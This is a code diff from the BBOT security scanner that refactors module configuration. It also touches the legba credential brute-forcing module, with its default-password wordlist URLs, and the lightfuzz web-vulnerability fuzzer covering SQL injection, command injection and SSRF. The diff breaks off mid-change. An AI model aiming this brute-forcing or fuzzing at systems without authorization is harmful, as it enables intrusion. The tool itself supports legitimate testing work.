+    flags = ["safe", "passive"]
     meta = {
         "description": "Extract different types of files into folders on the filesystem",
         "created_date": "2024-12-08",
diff --git a/bbot/modules/ip2location.py b/bbot/modules/ip2location.py
index 2a4b387f45..309ff65df6 100644
--- a/bbot/modules/ip2location.py
+++ b/bbot/modules/ip2location.py
@@ -1,4 +1,5 @@
 from bbot.modules.base import BaseModule
+from bbot.core.config.models import BaseModuleConfig, Field
 
 
 class IP2Location(BaseModule):
@@ -8,18 +9,20 @@ class IP2Location(BaseModule):
 
     watched_events = ["IP_ADDRESS"]
     produced_events = ["GEOLOCATION"]
-    flags = ["passive", "safe"]
+    flags = ["safe", "passive"]
     meta = {
         "description": "Query IP2location.io's API for geolocation information. ",
         "created_date": "2023-09-12",
         "author": "@TheTechromancer",
-        "auth_required": True,
-    }
-    options = {"api_key": "", "lang": ""}
-    options_desc = {
-        "api_key": "IP2location.io API Key",
-        "lang": "Translation information(ISO639-1). The translation is only applicable for continent, country, region and city name.",
     }
+
+    class Config(BaseModuleConfig):
+        api_key: str | list[str] = Field("", description="IP2location.io API Key", sensitive=True, mandatory=True)
+        lang: str = Field(
+            "",
+            description="Translation information(ISO639-1). The translation is only applicable for continent, country, region and city name.",
+        )
+
     scope_distance_modifier = 1
     _priority = 2
     suppress_dupes = False
@@ -51,7 +54,7 @@ async def handle_event(self, event):
             else:
                 self.verbose(f"No response from {url}")
         except Exception:
-            self.verbose(f"Error retrieving results for {event.data}", trace=True)
+            self.verbose(f"Error retrieving results for {event.pretty_string}", trace=True)
             return
 
         geo_data = {k: v for k, v in geo_data.items() if v is not None}
@@ -70,5 +73,5 @@ async def handle_event(self, event):
                 geo_data,
                 "GEOLOCATION",
                 event,
-                context=f'{{module}} queried IP2Location API for "{event.data}" and found {{event.type}}: {description}',
+                context=f'{{module}} queried IP2Location API for "{event.pretty_string}" and found {{event.type}}: {description}',
             )
diff --git a/bbot/modules/ipneighbor.py b/bbot/modules/ipneighbor.py
index 3bae28a37f..518d5510f6 100644
--- a/bbot/modules/ipneighbor.py
+++ b/bbot/modules/ipneighbor.py
@@ -1,24 +1,27 @@
 import ipaddress
 
 from bbot.modules.base import BaseModule
+from bbot.core.config.models import BaseModuleConfig, Field
 
 
 class ipneighbor(BaseModule):
     watched_events = ["IP_ADDRESS"]
     produced_events = ["IP_ADDRESS"]
-    flags = ["passive", "subdomain-enum", "aggressive"]
+    flags = ["passive", "subdomain-enum", "loud"]
     meta = {
         "description": "Look beside IPs in their surrounding subnet",
         "created_date": "2022-06-08",
         "author": "@TheTechromancer",
     }
-    options = {"num_bits": 4}
-    options_desc = {"num_bits": "Netmask size (in CIDR notation) to check. Default is 4 bits (16 hosts)"}
+
+    class Config(BaseModuleConfig):
+        num_bits: int = Field(4, description="Netmask size (in CIDR notation) to check. Default is 4 bits (16 hosts)")
+
     scope_distance_modifier = 1
 
     async def setup(self):
         self.processed = set()
-        self.num_bits = max(1, int(self.config.get("num_bits", 4)))
+        self.num_bits = max(1, self.config.get("num_bits", 4))
         return True
 
     async def filter_event(self, event):
@@ -39,5 +42,5 @@ async def handle_event(self, event):
                     if ip_event:
                         await self.emit_event(
                             ip_event,
-                            context="{module} produced {event.type}: {event.data}",
+                            context="{module} produced {event.type}: {event.pretty_string}",
                         )
diff --git a/bbot/modules/ipstack.py b/bbot/modules/ipstack.py
index 02cfe0f3dc..e7b0745e0d 100644
--- a/bbot/modules/ipstack.py
+++ b/bbot/modules/ipstack.py
@@ -1,4 +1,5 @@
 from bbot.modules.base import BaseModule
+from bbot.core.config.models import BaseModuleConfig, Field
 
 
 class Ipstack(BaseModule):
@@ -9,15 +10,12 @@ class Ipstack(BaseModule):
 
     watched_events = ["IP_ADDRESS"]
     produced_events = ["GEOLOCATION"]
-    flags = ["passive", "safe"]
-    meta = {
-        "description": "Query IPStack's GeoIP API",
-        "created_date": "2022-11-26",
-        "author": "@tycoonslive",
-        "auth_required": True,
-    }
-    options = {"api_key": ""}
-    options_desc = {"api_key": "IPStack GeoIP API Key"}
+    flags = ["safe", "passive"]
+    meta = {"description": "Query IPStack's GeoIP API", "created_date": "2022-11-26", "author": "@tycoonslive"}
+
+    class Config(BaseModuleConfig):
+        api_key: str | list[str] = Field("", description="IPStack GeoIP API Key", sensitive=True, mandatory=True)
+
     scope_distance_modifier = 1
     _priority = 2
     suppress_dupes = False
@@ -30,7 +28,7 @@ async def setup(self):
 
     async def handle_event(self, event):
         try:
-            url = f"{self.base_url}/{event.data}?access_key={{api_key}}"
+            url = f"{self.base_url}/{event.pretty_string}?access_key={{api_key}}"
             result = await self.api_request(url)
             if result:
                 geo_data = result.json()
@@ -39,7 +37,7 @@ async def handle_event(self, event):
             else:
                 self.verbose(f"No response from {url}")
         except Exception:
-            self.verbose(f"Error retrieving results for {event.data}", trace=True)
+            self.verbose(f"Error retrieving results for {event.pretty_string}", trace=True)
             return
         geo_data = {k: v for k, v in geo_data.items() if v is not None}
         if "error" in geo_data:
@@ -57,5 +55,5 @@ async def handle_event(self, event):
                 geo_data,
                 "GEOLOCATION",
                 event,
-                context=f'{{module}} queried ipstack.com\'s API for "{event.data}" and found {{event.type}}: {description}',
+                context=f'{{module}} queried ipstack.com\'s API for "{event.pretty_string}" and found {{event.type}}: {description}',
             )
diff --git a/bbot/modules/jadx.py b/bbot/modules/jadx.py
index 33722fc3d7..b3a1d2cb12 100644
--- a/bbot/modules/jadx.py
+++ b/bbot/modules/jadx.py
@@ -1,23 +1,22 @@
 from pathlib import Path
 from subprocess import CalledProcessError
 from bbot.modules.internal.base import BaseModule
+from bbot.core.config.models import BaseModuleConfig, Field
 
 
 class jadx(BaseModule):
     watched_events = ["FILESYSTEM"]
     produced_events = ["FILESYSTEM"]
-    flags = ["passive", "safe", "code-enum"]
+    flags = ["safe", "passive", "code-enum"]
     meta = {
         "description": "Decompile APKs and XAPKs using JADX",
         "created_date": "2024-11-04",
         "author": "@domwhewell-sage",
     }
-    options = {
-        "threads": 4,
-    }
-    options_desc = {
-        "threads": "Maximum jadx threads for extracting apk's, default: 4",
-    }
+
+    class Config(BaseModuleConfig):
+        threads: int = Field(4, description="Maximum jadx threads for extracting apk's, default: 4")
+
     deps_common = ["java"]
     deps_ansible = [
         {
diff --git a/bbot/modules/kreuzberg.py b/bbot/modules/kreuzberg.py
new file mode 100644
index 0000000000..ea30b2b453
--- /dev/null
+++ b/bbot/modules/kreuzberg.py
@@ -0,0 +1,127 @@
+import pypdfium2
+from kreuzberg import extract_file
+
+from bbot.modules.base import BaseModule
+from bbot.core.config.models import BaseModuleConfig, Field
+
+
+class kreuzberg(BaseModule):
+    watched_events = ["FILESYSTEM"]
+    produced_events = ["RAW_TEXT"]
+    flags = ["safe", "passive"]
+    meta = {
+        "description": "Module to extract data from files",
+        "created_date": "2024-06-03",
+        "author": "@domwhewell-sage",
+    }
+
+    class Config(BaseModuleConfig):
+        extensions: list[str] = Field(
+            [
+                "bak",
+                "bash",
+                "bashrc",
+                "conf",
+                "cfg",
+                "crt",
+                "csv",
+                "db",
+                "sqlite",
+                "doc",
+                "docx",
+                "ica",
+                "indd",
+                "ini",
+                "json",
+                "key",
+                "pub",
+                "log",
+                "markdown",
+                "md",
+                "odg",
+                "odp",
+                "ods",
+                "odt",
+                "pdf",
+                "pem",
+                "pps",
+                "ppsx",
+                "ppt",
+                "pptx",
+                "ps1",
+                "rdp",
+                "rsa",
+                "sh",
+                "sql",
+                "swp",
+                "sxw",
+                "txt",
+                "vbs",
+                "wpd",
+                "xls",
+                "xlsx",
+                "xml",
+                "yml",
+                "yaml",
+            ],
+            description="File extensions to parse",
+        )
+
+    deps_pip = ["kreuzberg>=4.3,<4.5", "pypdfium2~=5.0"]
+    scope_distance_modifier = 1
+
+    async def setup(self):
+        self.extensions = list({e.lower().strip(".") for e in self.config.get("extensions", [])})
+        return True
+
+    async def filter_event(self, event):
+        if "file" in event.tags:
+            if not any(event.data["path"].endswith(f".{ext}") for ext in self.extensions):
+                return False, "File extension not in the allowed list"
+        else:
+            return False, "Event is not a file"
+        return True
+
+    async def handle_event(self, event):
+        file_path = event.data["path"]
+        try:
+            if file_path.lower().endswith(".pdf"):
+                content = await self.helpers.run_in_executor_mp(self.extract_pdf, file_path)
+            else:
+                result = await extract_file(file_path)
+                content = result.content.strip()
+        except Exception as e:
+            import traceback
+
+            self.error(f"Error extracting text from {file_path}: {e}")
+            self.trace(traceback.format_exc())
+            return
+
+        if content:
+            raw_text_event = self.make_event(
+                content,
+                "RAW_TEXT",
+                context=f"Extracted text from {file_path}",
+                parent=event,
+            )
+            await self.emit_event(raw_text_event)
+
+    @staticmethod
+    def extract_pdf(file_path):
+        """Extract text from PDF using pypdfium2 directly instead of kreuzberg.
+
+        kreuzberg's bundled pdfium extracts text spatially via get_text_bounded(), which
+        clips long unbroken strings (JWTs, base64, URLs) that extend beyond the page width.
+        pypdfium2's get_text_range() extracts by character index, returning complete text
+        regardless of spatial position.
+        """
+        document = pypdfium2.PdfDocument(file_path)
+        try:
+            pages = []
+            for page in document:
+                textpage = page.get_textpage()
+                text = textpage.get_text_range()
+                pages.append(text)
+            return " ".join("\n".join(pages).strip().split())
+        finally:
+            document.close()
diff --git a/bbot/modules/leakix.py b/bbot/modules/leakix.py
index ac9e81f87b..ee25642c1b 100644
--- a/bbot/modules/leakix.py
+++ b/bbot/modules/leakix.py
@@ -1,13 +1,15 @@
 from bbot.modules.templates.subdomain_enum import subdomain_enum_apikey
+from bbot.core.config.models import BaseModuleConfig, Field
 
 
 class leakix(subdomain_enum_apikey):
     watched_events = ["DNS_NAME"]
     produced_events = ["DNS_NAME"]
-    flags = ["subdomain-enum", "passive", "safe"]
-    options = {"api_key": ""}
-    # NOTE: API key is not required (but having one will get you more results)
-    options_desc = {"api_key": "LeakIX API Key"}
+    flags = ["safe", "subdomain-enum", "passive"]
+
+    class Config(BaseModuleConfig):
+        api_key: str | list[str] = Field("", description="LeakIX API Key", sensitive=True, mandatory=True)
+
     meta = {
         "description": "Query leakix.net for subdomains",
         "created_date": "2022-07-11",
@@ -17,17 +19,9 @@ class leakix(subdomain_enum_apikey):
     base_url = "https://leakix.net"
     ping_url = f"{base_url}/host/1.1.1.1"
 
-    async def setup(self):
-        ret = await super(subdomain_enum_apikey, self).setup()
-        self.api_key = self.config.get("api_key", "")
-        if self.api_key:
-            return await self.require_api_key()
-        return ret
-
     def prepare_api_request(self, url, kwargs):
-        if self.api_key:
-            kwargs["headers"]["api-key"] = self.api_key
-            kwargs["headers"]["Accept"] = "application/json"
+        kwargs["headers"]["api-key"] = self.api_key
+        kwargs["headers"]["Accept"] = "application/json"
         return url, kwargs
 
     async def request_url(self, query):
@@ -38,7 +32,7 @@ async def request_url(self, query):
     async def parse_results(self, r, query=None):
         results = set()
         json = r.json()
-        if json:
+        if isinstance(json, list):
             for entry in json:
                 subdomain = entry.get("subdomain", "")
                 if subdomain:
diff --git a/bbot/modules/deadly/legba.py b/bbot/modules/legba.py
similarity index 66%
rename from bbot/modules/deadly/legba.py
rename to bbot/modules/legba.py
index 2c62a77032..221229641e 100644
--- a/bbot/modules/deadly/legba.py
+++ b/bbot/modules/legba.py
@@ -1,7 +1,9 @@
 import json
+from typing import Union
 from pathlib import Path
 from bbot.errors import WordlistError
 from bbot.modules.base import BaseModule
+from bbot.core.config.models import BaseModuleConfig, Field
 
 # key: <common-protocol-name> value: <legba-protocol-plugin-name>
 # List with `legba -L`
@@ -18,7 +20,7 @@ def map_protocol_to_legba_plugin_name(common_protocol_name: str) -> str:
 class legba(BaseModule):
     watched_events = ["PROTOCOL"]
     produced_events = ["FINDING"]
-    flags = ["active", "aggressive", "deadly"]
+    flags = ["active", "loud", "invasive"]
     per_hostport_only = True
     meta = {
         "description": "Credential bruteforcing supporting various services.",
@@ -28,31 +30,38 @@ class legba(BaseModule):
     _module_threads = 25
     scope_distance_modifier = None
 
-    options = {
-        "ssh_wordlist": "https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt",
-        "ftp_wordlist": "https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt",
-        "telnet_wordlist": "https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/telnet-betterdefaultpasslist.txt",
-        "vnc_wordlist": "https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/vnc-betterdefaultpasslist.txt",
-        "mssql_wordlist": "https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/mssql-betterdefaultpasslist.txt",
-        "mysql_wordlist": "https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/mysql-betterdefaultpasslist.txt",
-        "postgresql_wordlist": "https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/postgres-betterdefaultpasslist.txt",
-        "concurrency": 3,
-        "rate_limit": 3,
-        "version": "1.1.1",
-    }
-
-    options_desc = {
-        "ssh_wordlist": "Wordlist URL for SSH combined username:password wordlist, newline separated",
-        "ftp_wordlist": "Wordlist URL for FTP combined username:password wordlist, newline separated",
-        "telnet_wordlist": "Wordlist URL for TELNET combined username:password wordlist, newline separated",
-        "vnc_wordlist": "Wordlist URL for VNC password wordlist, newline separated",
-        "mssql_wordlist": "Wordlist URL for MSSQL combined username:password wordlist, newline separated",
-        "mysql_wordlist": "Wordlist URL for MySQL combined username:password wordlist, newline separated",
-        "postgresql_wordlist": "Wordlist URL for PostgreSQL combined username:password wordlist, newline separated",
-        "concurrency": "Number of concurrent workers, gets overridden for SSH",
-        "rate_limit": "Limit the number of requests per second, gets overridden for SSH",
-        "version": "legba version",
-    }
+    class Config(BaseModuleConfig):
+        ssh_wordlist: Union[str, list[str]] = Field(
+            "https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt",
+            description="Wordlist for SSH combined username:password, newline separated. Accepts a URL or local file path, or a list of URLs/paths to merge multiple wordlists (duplicates removed).",
+        )
+        ftp_wordlist: Union[str, list[str]] = Field(
+            "https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt",
+            description="Wordlist for FTP combined username:password, newline separated. Accepts a URL or local file path, or a list of URLs/paths to merge multiple wordlists (duplicates removed).",
+        )
+        telnet_wordlist: Union[str, list[str]] = Field(
+            "https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/telnet-betterdefaultpasslist.txt",
+            description="Wordlist for TELNET combined username:password, newline separated. Accepts a URL or local file path, or a list of URLs/paths to merge multiple wordlists (duplicates removed).",
+        )
+        vnc_wordlist: Union[str, list[str]] = Field(
+            "https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/vnc-betterdefaultpasslist.txt",
+            description="Wordlist for VNC passwords, newline separated. Accepts a URL or local file path, or a list of URLs/paths to merge multiple wordlists (duplicates removed).",
+        )
+        mssql_wordlist: Union[str, list[str]] = Field(
+            "https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/mssql-betterdefaultpasslist.txt",
+            description="Wordlist for MSSQL combined username:password, newline separated. Accepts a URL or local file path, or a list of URLs/paths to merge multiple wordlists (duplicates removed).",
+        )
+        mysql_wordlist: Union[str, list[str]] = Field(
+            "https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/mysql-betterdefaultpasslist.txt",
+            description="Wordlist for MySQL combined username:password, newline separated. Accepts a URL or local file path, or a list of URLs/paths to merge multiple wordlists (duplicates removed).",
+        )
+        postgresql_wordlist: Union[str, list[str]] = Field(
+            "https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/postgres-betterdefaultpasslist.txt",
+            description="Wordlist for PostgreSQL combined username:password, newline separated. Accepts a URL or local file path, or a list of URLs/paths to merge multiple wordlists (duplicates removed).",
+        )
+        concurrency: int = Field(3, description="Number of concurrent workers, gets overridden for SSH")
+        rate_limit: int = Field(3, description="Limit the number of requests per second, gets overridden for SSH")
+        version: str = Field("1.1.1", description="legba version")
 
     deps_ansible = [
         {
@@ -133,6 +142,7 @@ async def parse_output(self, output_filepath, event):
                             "confidence": "CONFIRMED",
                             "host": str(event.host),
                             "port": str(event.port),
+                            "name": f"Legba - {protocol.upper()} Credentials",
                             "description": f"Valid {protocol} credentials found - {message_addition}",
                         },
                         "FINDING",
@@ -217,6 +227,11 @@ async def construct_command(self, host, port, protocol):
                 "1",
             ]
         else:
-            cmd += ["--rate-limit", self.config.rate_limit, "--concurrency", self.config.concurrency]
+            cmd += [
+                "--rate-limit",
+                str(self.config.get("rate_limit")),
+                "--concurrency",
+                str(self.config.get("concurrency")),
+            ]
 
         return cmd, output_path
diff --git a/bbot/modules/lightfuzz/lightfuzz.py b/bbot/modules/lightfuzz/lightfuzz.py
index 6d114b827b..a2a3b71c5e 100644
--- a/bbot/modules/lightfuzz/lightfuzz.py
+++ b/bbot/modules/lightfuzz/lightfuzz.py
@@ -1,33 +1,49 @@
 import importlib
+from urllib.parse import urlparse
+
 from bbot.modules.base import BaseModule
+from bbot.core.helpers.async_helpers import NamedLock
 
 from bbot.errors import InteractshError
+from bbot.core.config.models import BaseModuleConfig, Field
+from bbot.core.helpers.misc import get_waf_strings
+from bbot.core.helpers.web.response_event import response_to_event_dict
+from bbot.modules.lightfuzz.submodules.base import BaseLightfuzz
+from bbot.modules.lightfuzz.submodules.serial import serial as _serial_submodule
 
 
 class lightfuzz(BaseModule):
     watched_events = ["URL", "WEB_PARAMETER"]
-    produced_events = ["FINDING", "VULNERABILITY"]
-    flags = ["active", "aggressive", "web-thorough", "deadly"]
-
-    options = {
-        "force_common_headers": False,
-        "enabled_submodules": ["sqli", "cmdi", "xss", "path", "ssti", "crypto", "serial", "esi"],
-        "disable_post": False,
-        "try_post_as_get": False,
-        "try_get_as_post": False,
-        "avoid_wafs": True,
-    }
-    options_desc = {
-        "force_common_headers": "Force emit commonly exploitable parameters that may be difficult to detect",
-        "enabled_submodules": "A list of submodules to enable. Empty list enabled all modules.",
-        "disable_post": "Disable processing of POST parameters, avoiding form submissions.",
-        "try_post_as_get": "For each POSTPARAM, also fuzz it as a GETPARAM (in addition to normal POST fuzzing).",
-        "try_get_as_post": "For each GETPARAM, also fuzz it as a POSTPARAM (in addition to normal GET fuzzing).",
-        "avoid_wafs": "Avoid running against confirmed WAFs, which are likely to block lightfuzz requests",
-    }
+    produced_events = ["FINDING", "HTTP_RESPONSE"]
+    flags = ["active", "loud", "web-heavy", "invasive"]
+
+    class Config(BaseModuleConfig):
+        force_common_headers: bool = Field(
+            False, description="Force emit commonly exploitable parameters that may be difficult to detect"
+        )
+        enabled_submodules: list[str] = Field(
+            ["sqli", "cmdi", "xss", "path", "ssti", "crypto", "serial", "esi", "ssrf"],
+            description="A list of submodules to enable. Empty list enabled all modules.",
+        )
+        disable_post: bool = Field(
+            False, description="Disable processing of POST parameters, avoiding form submissions."
+        )
+        try_post_as_get: bool = Field(
+            False, description="For each POSTPARAM, also fuzz it as a GETPARAM (in addition to normal POST fuzzing)."
+        )
+        try_get_as_post: bool = Field(
+            False, description="For each GETPARAM, also fuzz it as a POSTPARAM (in addition to normal GET fuzzing)."
+        )
+        avoid_wafs: bool = Field(
+            True, description="Avoid running against confirmed WAFs, which are likely to block lightfuzz requests"
+        )
+        emit_baseline_responses: bool = Field(
+            True,
+            description="Emit canonical baseline responses as HTTP_RESPONSE events so excavate can mine them for new params/URLs.",
+        )
 
     meta = {
-        "description": "Find Web Parameters and Lightly Fuzz them using a heuristic based scanner",
+        "description": "BBOT's DAST module — lightly fuzz web parameters discovered during recon for common vulnerability classes",
         "author": "@liquidsec",
         "created_date": "2024-06-28",
     }
@@ -47,7 +63,20 @@ async def setup(self):
         self.enabled_submodules = self.config.get("enabled_submodules")
         self.interactsh_disable = self.scan.config.get("interactsh_disable", False)
         self.avoid_wafs = self.scan.config.get("avoid_wafs", True)
+        self.emit_baseline_responses = self.config.get("emit_baseline_responses", True)
         self.submodules = {}
+        # Per-event baseline cache so submodules with identical request signatures share one HttpCompare.
+        self._baseline_cache = {}
+
+        # Cross-event baseline_probe response cache: sibling fields of the same form produce identical requests.
+        self._baseline_probe_response_cache = {}
+        self._baseline_probe_response_cache_max = 200
+
+        # Per-URL lock + cache so concurrent WEB_PARAMETERs for the same page share one connectivity GET
+        # (servers that cycle session/CSRF tokens hand each racer a different token otherwise).
+        self._connectivity_test_cache = {}
+        self._connectivity_test_cache_max = 300
+        self._connectivity_test_locks = NamedLock(max_size=200)
 
         if not self.enabled_submodules:
             return False, "Lightfuzz enabled without any submodules. Must enable at least one submodule."
@@ -60,6 +89,13 @@ async def setup(self):
                 return False, f"Invalid Lightfuzz submodule ({submodule_name}) specified in enabled_modules"
             self.submodules[submodule_name] = submodule_class
 
+        waf_strings = get_waf_strings()
+        self.waf_yara_rules = self.helpers.yara.compile_strings(waf_strings, nocase=True)
+        # Serial submodule needs WAF + general error strings in one rule
+        self.serial_general_error_yara_rules = self.helpers.yara.compile_strings(
+            _serial_submodule.GENERAL_ERROR_STRINGS + waf_strings, nocase=True
+        )
+
         interactsh_needed = any(submodule.uses_interactsh for submodule in self.submodules.values())
         if interactsh_needed and not self.interactsh_disable:
             try:
@@ -78,32 +114,125 @@ async def interactsh_callback(self, r):
         if full_id:
             if "." in full_id:
                 details = self.interactsh_subdomain_tags.get(full_id.split(".")[0])
-                if not details["event"]:
+                if not details or not details.get("event"):
+                    # Callback for a subdomain we didn't register, or whose
+                    # tag entry is incomplete — ignore rather than NPE.
                     return
-                # currently, this is only used by the cmdi submodule. Later, when other modules use it, we will need to store description data in the interactsh_subdomain_tags dictionary
+                protocol = r.get("protocol", "dns").lower()
+                severity = details.get("severity", "HIGH")
+                confidence = details.get("confidence", "CONFIRMED")
+                # Allow submodules to specify alternative severity/confidence for DNS-only interactions
+                if protocol == "dns":
+                    severity = details.get("severity_dns", severity)
+                    confidence = details.get("confidence_dns", confidence)
+                description = f"{details['description']} Interaction Protocol: [{protocol}]"
                 await self.emit_event(
                     {
-                        "severity": "CRITICAL",
+                        "severity": severity,
+                        "confidence": confidence,
                         "host": str(details["event"].host),
-                        "url": details["event"].data["url"],
-                        "description": f"OS Command Injection (OOB Interaction) Type: [{details['type']}] Parameter Name: [{details['name']}] Probe: [{details['probe']}]",
+                        "url": details["event"].url,
+                        "name": f"Lightfuzz - {details['name']}",
+                        "description": description,
                     },
-                    "VULNERABILITY",
+                    "FINDING",
                     details["event"],
                 )
             else:
                 # this is likely caused by something trying to resolve the base domain first and can be ignored
                 self.debug("skipping result because subdomain tag was missing")
 
+    async def _connectivity_test(self, prime_url):
+        """Fire (or share) a connectivity GET against ``prime_url``; concurrent callers share one response."""
+        cache = self._connectivity_test_cache
+        if prime_url in cache:
+            return cache[prime_url]
+        async with self._connectivity_test_locks.lock(prime_url):
+            if prime_url in cache:
+                return cache[prime_url]
+            response = await self.helpers.request(prime_url, timeout=10)
+            if response is not None:
+                if len(cache) >= self._connectivity_test_cache_max:
+                    cache.pop(next(iter(cache)))
+                cache[prime_url] = response
+            return response
+
+    @staticmethod
+    def _baseline_request_signature(request_params):
+        """Stable hashable signature of a baseline request (URL + method + body + cookies + headers)."""
+
+        def _freeze(d):
+            if not d:
+                return ()
+            try:
+                return tuple(sorted((str(k), str(v)) for k, v in d.items()))
+            except AttributeError:
+                return (str(d),)
+
+        return (
+            request_params.get("method", "GET"),
+            request_params.get("url", ""),
+            _freeze(request_params.get("data")),
+            _freeze(request_params.get("json")),
+            _freeze(request_params.get("cookies")),
+            _freeze(request_params.get("headers")),
+        )
+
+    def get_cached_baseline(self, event, signature):
+        """Return a cached HttpCompare for (event, signature) if present, else None."""
+        return self._baseline_cache.get(event.id, {}).get(signature)
+
+    def store_cached_baseline(self, event, signature, http_compare):
+        """Store an HttpCompare in the per-event baseline cache."""
+        self._baseline_cache.setdefault(event.id, {})[signature] = http_compare
+
+    async def emit_baseline_response(self, response, event, method):
+        """Emit a baseline blasthttp Response as an HTTP_RESPONSE event so excavate can mine post-submit pages."""
+        if not self.emit_baseline_responses:
+            return
+        if response is None:
+            return
+        try:
+            parsed = urlparse(str(response.url))
+            url_input = parsed.netloc or str(response.url)
+            j = response_to_event_dict(response, url_input, method=method)
+        except Exception as e:
+            self.debug(f"Failed to build HTTP_RESPONSE dict from lightfuzz baseline: {e}")
+            return
+        await self.emit_event(
+            j,
+            "HTTP_RESPONSE",
+            event,
+            tags=["from-lightfuzz"],
+            context="{module} emitted baseline response from canonical fuzzing probe",
+        )
+
     def _outgoing_dedup_hash(self, event):
+        if event.type == "FINDING":
+            return hash(
+                (
+                    "lightfuzz",
+                    str(event.host),
+                    event.url,
+                    event.data.get("description", ""),
+                    event.data.get("type", ""),
+                    event.data.get("name", ""),
+                )
+            )
+        # Include body hash so dual baselines (same method+url, distinct bodies) both surface.
+        body_hash = ""
+        if isinstance(event.data, dict):
+            response_hash = event.data.get("hash") or {}
+            if isinstance(response_hash, dict):
+                body_hash = response_hash.get("body_md5", "") or ""
         return hash(
             (
                 "lightfuzz",
+                event.type,
                 str(event.host),
-                event.data["url"],
-                event.data["description"],
-                event.data.get("type", ""),
-                event.data.get("name", ""),
+                event.url,
+                event.data.get("method", "") if isinstance(event.data, dict) else "",
+                body_hash,
             )
         )
 
@@ -112,7 +241,12 @@ async def run_submodule(self, submodule, event):
         await submodule_instance.fuzz()
         if len(submodule_instance.results) > 0:
             for r in submodule_instance.results:
-                event_data = {"host": str(event.host), "url": event.data["url"], "description": r["description"]}
+                event_data = {
+                    "host": str(event.host),
+                    "url": event.url,
+                    "name": r["name"],
+                    "description": r["description"],
+                }
 
                 envelopes = getattr(event, "envelopes", None)
                 envelope_summary = getattr(envelopes, "summary", None)
@@ -120,11 +254,12 @@ async def run_submodule(self, submodule, event):
                     # Append the envelope summary to the description
                     event_data["description"] += f" Envelopes: [{envelope_summary}]"
 
-                if r["type"] == "VULNERABILITY":
-                    event_data["severity"] = r["severity"]
+                event_data["severity"] = r["severity"]
+                event_data["confidence"] = r["confidence"]
+                event_data["name"] = f"Lightfuzz - {r['name']}"
                 await self.emit_event(
                     event_data,
-                    r["type"],
+                    "FINDING",
                     event,
                 )
 
@@ -141,41 +276,69 @@ async def handle_event(self, event):
                     "type": "HEADER",
                     "name": h,
                     "original_value": None,
-                    "url": event.data,
+                    "url": event.url,
                     "description": description,
                 }
                 await self.emit_event(data, "WEB_PARAMETER", event)
 
         elif event.type == "WEB_PARAMETER":
-            # check connectivity to url
-            connectivity_test = await self.helpers.request(event.data["url"], timeout=10)
+            # Mirror browser flow: GET the form's host page first to seed cookies/CSRF, then POST to action.
+            host_url = event.data.get("host_url") if isinstance(event.data, dict) else None
+            prime_url = host_url if host_url and host_url != event.url else event.url
+            connectivity_test = await self._connectivity_test(prime_url)
 
             if connectivity_test:
-                original_type = event.data["type"]
-
-                # Normal fuzzing pass (skipped for POSTPARAM if disable_post is True)
-                if not (self.disable_post and original_type == "POSTPARAM"):
-                    for submodule_name, submodule in self.submodules.items():
-                        self.debug(f"Starting {submodule_name} fuzz()")
-                        await self.run_submodule(submodule, event)
-
-                # Additional pass: try POSTPARAM as GETPARAM
-                if self.try_post_as_get and original_type == "POSTPARAM":
-                    event.data["type"] = "GETPARAM"
-                    event.data["converted_from_post"] = True
-                    for submodule_name, submodule in self.submodules.items():
-                        self.debug(f"Starting {submodule_name} fuzz() (try_post_as_get)")
-                        await self.run_submodule(submodule, event)
-
-                # Additional pass: try GETPARAM as POSTPARAM
-                if self.try_get_as_post and original_type == "GETPARAM":
-                    event.data["type"] = "POSTPARAM"
-                    event.data["converted_from_get"] = True
-                    for submodule_name, submodule in self.submodules.items():
-                        self.debug(f"Starting {submodule_name} fuzz() (try_get_as_post)")
-                        await self.run_submodule(submodule, event)
+                # Merge fresh Set-Cookie values from the connectivity GET into assigned_cookies.
+                # Cookies the GET didn't re-issue (e.g. an unrelated auth cookie) are preserved.
+                fresh_cookies = dict(getattr(connectivity_test, "cookies", {}) or {})
+                if fresh_cookies:
+                    merged = dict(event.data.get("assigned_cookies") or {})
+                    merged.update(fresh_cookies)
+                    event.data["assigned_cookies"] = merged
+
+                try:
+                    original_type = event.data["type"]
+
+                    # Fire the canonical baseline once per WEB_PARAMETER so excavate can mine the
+                    # post-submit page; later submodule baseline_probes hit the response cache.
+                    if self.emit_baseline_responses:
+                        prober = BaseLightfuzz(self, event)
+                        try:
+                            await prober.baseline_probe(cookies=event.data.get("assigned_cookies", {}) or {})
+                        except Exception as e:
+                            self.debug(f"module-level baseline_probe raised: {e}")
+
+                    # Normal fuzzing pass (skipped for POSTPARAM if disable_post is True)
+                    if not (self.disable_post and original_type == "POSTPARAM"):
+                        for submodule_name, submodule in self.submodules.items():
+                            self.debug(f"Starting {submodule_name} fuzz()")
+                            await self.run_submodule(submodule, event)
+
+                    # Additional pass: try POSTPARAM as GETPARAM
+                    if self.try_post_as_get and original_type == "POSTPARAM":
+                        event.data["type"] = "GETPARAM"
+                        event.data["converted_from_post"] = True
+                        for submodule_name, submodule in self.submodules.items():
+                            self.debug(f"Starting {submodule_name} fuzz() (try_post_as_get)")
+                            await self.run_submodule(submodule, event)
+
+                    # Additional pass: try GETPARAM as POSTPARAM
+                    if self.try_get_as_post and original_type == "GETPARAM":
+                        event.data["type"] = "POSTPARAM"
+                        event.data["converted_from_get"] = True
